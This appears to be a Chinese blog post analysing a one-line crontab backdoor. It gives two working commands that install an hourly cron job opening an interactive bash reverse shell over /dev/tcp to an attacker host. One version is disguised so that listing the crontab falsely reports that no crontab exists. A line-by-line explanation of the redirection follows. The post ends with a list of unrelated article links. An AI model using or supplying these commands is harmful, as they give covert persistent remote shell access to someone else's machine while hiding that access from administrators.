• crontab一句话后门分析


    正常版本

    (crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -


    升级猥琐版本

    (crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;
    no crontab for `whoami`%100c
    ")|crontab -

    crontab -l直接提示no crontab 

    分析:

    echo '*/60 * * * *'

    crontab格式 每隔60分钟执行一次

    exec 9<>/dev/tcp/127.0.0.1/8888

    以读写方式打开/dev/tcp,并指定服务器名为:127.0.0.1(攻击机) 端口号为:8888,指定描述符为9

    要注意的是:/dev/tcp本身是不存在的,在/dev目录下是找不到的

    exec 0<&9;exec 1>&9 2>&1;

    linux 三个基本文件描述符 0:stdin 1:stdout 2:stderr

    n >&m 表示使文件描述符n成为描述符m的副本

    exec 0<&9;   将fd9从定向到标准输入;

    exec 1>&9 2>&1;   将标准输出从定向到文件fd9,将标准错误从定向到标准输出.

    简单的理解为fd9=fd0  fd1=fd9 所以我的理解是,fd9从标准输入读入字符,处理后结果用标准输出输出.

    /bin/bash --noprofile -i

    打开一个shell

    附:shell后门脚本大全

  • 相关阅读:
    UML简单熟悉
    Java设计模式--单例模式
    MyEclipse2014安装图解
    让Win10显示系统中隐藏的文件夹
    Ping命令
    C语言学习
    技术学习论坛地址收集
    聊聊JVM的年轻代(转)
    深入理解JVM--JVM垃圾回收机制(转)
    JVM调优浅谈(转)
  • 原文地址:https://www.cnblogs.com/he1m4n6a/p/10069895.html
Copyright © 2020-2023  润新知